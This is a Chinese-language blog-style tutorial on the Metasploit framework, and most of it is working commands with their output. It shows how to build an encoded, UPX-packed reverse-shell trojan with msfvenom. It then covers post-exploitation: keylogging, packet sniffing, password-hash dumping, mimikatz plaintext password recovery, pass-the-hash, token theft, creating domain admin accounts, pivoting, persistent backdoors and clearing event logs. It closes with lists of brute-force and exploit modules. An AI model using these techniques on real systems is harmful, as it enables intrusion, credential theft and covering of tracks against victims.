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渗透工具之msf

2016-10-20 20:39 出处:未知 人气: 评论(0

简介

它是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。

环境

工具:msf4

伪装木马

原理:msfvenom是msfpayload,msfencode的结合体,它的优点是单一,命令行,和效率.利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。

构造shellcode常用命令

msfvenom -p windows/exec CMD=calc.exe -b "\\x00\\x0a\\x0b\\x27\\x36\\xce\\xc1\\x42\\xa9\\x0d" -f c

msfvenom -p windows/exec CMD=calc.exe -b "\\x00\\x0a\\x0b\\x27\\x36\\xce\\xc1\\x42\\xa9\\x0d" -f python

常用命令

查看帮助

msfvenom -h

这里写图片描述

查看一个Payload具体需要什么参数?

msfvenom -p windows/meterpreter/bind_tcp --payload-options

这里写图片描述

自己本地生成的bind_tcp的payload并不能在Windows机子上运行 (提示不是可用的Win32程序;如果大家也有遇到这种错误的话,推荐用msfvenom生成c的shellcode 然后自己编译为exe后运行。使用msfvenom --list可以查看所有的payload encoder nops。

设置LHOST,即监听主机IP和LPORT监听端口,我是本地局域网测试,所以IP是192.168.1.152,端口设置成443.所以最后连接会通向192.168.1.152的443端口。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\\x00' LHOST=192.168.1.152 LPORT=443 -f exe > c.exe

这里写图片描述

参数说明:

-p payload
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
LHOST,LPORT 监听上线的主机IP和端口
-f exe 生成EXE格式

upx加壳

说明:upx只是压缩壳工具;如果需要增大破解难度,需要添加加密壳。

upx -9 c.exe

这里写图片描述

本机监听

因为之前用的是reverse_tcp,所以设置如下:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverset_tcp

这里写图片描述

验证

这里写图片描述

基本命令

background  # 让meterpreter处于后台模式  
sessions -i number   # 与会话进行交互,number表示第n个session  
quit  # 退出会话  
shell # 获得命令行
cat c:\\\\boot.ini   # 查看文件内容  
getwd # 查看当前工作目录 work directory  
upload /root/Desktop/netcat.exe c:\\\\ # 上传文件到目标机上  
download 0xfa.txt /root/Desktop/   # 下载文件到本机上  
edit c:\\\\boot.ini  # 编辑文件  
search -d d:\\\\www -f web.config # search 文件 
ps # 查看当前活跃进程  
migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中  
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互  
getpid # 获取当前进程的pid  
kill pid # 杀死进程  
getuid # 查看权限  
sysinfo # 查看目标机系统信息,如机器名,操作系统等  
getsystem #提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间

迁移进程

meterpreter > ps
自行选择PID
meterpreter > migrate pid

提权操作

getsystem 大部分都会失败 他只尝试了4Payloadmeterpreter > getuid    
Server username: Testing\\Croxy    
meterpreter > getsystem    
[-] priv_elevate_getsystem: Operation failed: Access is denied.
使用MS14-058之类的Exp进行提权
meterpreter > background
[*] Backgrounding session 3..
msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set SESSION 3

获取敏感信息

run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run scraper                      #获取常见信息
#保存在~/.msf4/logs/scripts/scraper/目录下

键盘记录

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd  <Ctrl>  <LCtrl>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

网络嗅探

meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
    1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
    2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
    3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap

获取hash

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hints...
[+]     Croxy:"Whoareyou"
[*]     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
[+]     HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]     test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

获取明文密码

meterpreter > getuid
Server username: NT AUTHORITY\\SYSTEM    

meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials    

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================    

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey    : 8c2c8d96e92a8ccfc407a1ca48531239    

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }

通过hash获取权限

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options    

Module options (exploit/windows/smb/psexec):    

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
RHOST                       yes       The target address
RPORT      445              yes       Set the SMB service port
SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share

(ADMIN$,C$,...) or a normal read/write folder share
SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                                ation
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as    

Exploit target:    

Id  Name
--  ----
0   Automatic    

msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537    

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \\UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \\UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877)

内网渗透

端口转发(将远程主机3389端口转发到本地1234端口上)

meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80

内网代理

meterpreter > run autoroute -s 10.42.0`.54
[*] Adding a route to 10.42.0.54/255.255.255.0...
[+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options    

Module options (auxiliary/server/socks4a):
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SRVHOST  0.0.0.0          yes       The address to listen on
SRVPORT  1080             yes       The port to listen on.    

Auxiliary action:
Name   Description
----   -----------
Proxy      

msf auxiliary(socks4a) > route print
Active Routing Table
====================
Subnet             Netmask            Gateway
------             -------            -------
10.42.0.54         255.255.255.0      Session 1    

msf auxiliary(socks4a) > ifconfig
[*] exec: ifconfig    

msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx
SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)    

msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了。

SSH代理

msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to dsl@192.168.56.3:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28   03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了。

当然还是推荐直接用ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1

偷取token

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid
meterpreter > getuid
Server username: NT AUTHORITY\\SYSTEM
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u    

Delegation Tokens Available
========================================
IIS APPPOOL\\zyk
NT AUTHORITY\\IUSR
NT AUTHORITY\\LOCAL SERVICE
NT AUTHORITY\\NETWORK SERVICE
NT AUTHORITY\\SYSTEM
QLWEB\\Administrator    

Impersonation Tokens Available
========================================
NT AUTHORITY\\ANONYMOUS LOGON    

meterpreter > impersonate_token QLWEB\\\\Administrator
[+] Delegation token available
[+] Successfully impersonated user QLWEB\\Administrator
meterpreter > getuid
Server username: QLWEB\\Administrator
meterpreter>add_user 0xfa funny –h192.168.3.98  #在域控主机上添加账户
meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98   #将账户添加至域管理员组

内网扫描

meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit

后门

一个vbs后门,写入了开机启动项;但是容易被发现,还是需要大家发挥自己的智慧。

meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\\Users\\Croxy\\AppData\\Local\\Temp\\ulZpjVBN.vbs
[*] Executing script C:\\Users\\Croxy\\AppData\\Local\\Temp\\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\okiASNRzcLenulr
[+] Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\okiASNRzcLenulr
Meterpreter服务后门
meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\\Users\\Croxy\\AppData\\Local\\Temp\\tuIKWqmuO...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.

之后电脑就默默生成了一个自启服务meterpreter;然后连接后门。

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit

清理痕迹

meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...

meterpreter > timestomp

一些常用的破解模块

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_login

auxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

auxiliary/scanner/ftp/anonymous

一些好用的模块

auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具)

auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老)

auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))

auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)

auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:()

auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)

auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)

auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)

auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

一些好用的脚本

uxiliary/scanner/rsync/modules_list (Rsync)

auxiliary/scanner/misc/redis_server (Redis)

auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)

auxiliary/scanner/mongodb/mongodb_login (Mongodb)

auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)

auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)

auxiliary/scanner/http/http_put (http Put)

auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)

auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)

auxiliary/scanner/http/svn_scanner (svn Hunter)

auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)

auxiliary/scanner/http/zabbix_login (Zabbix )

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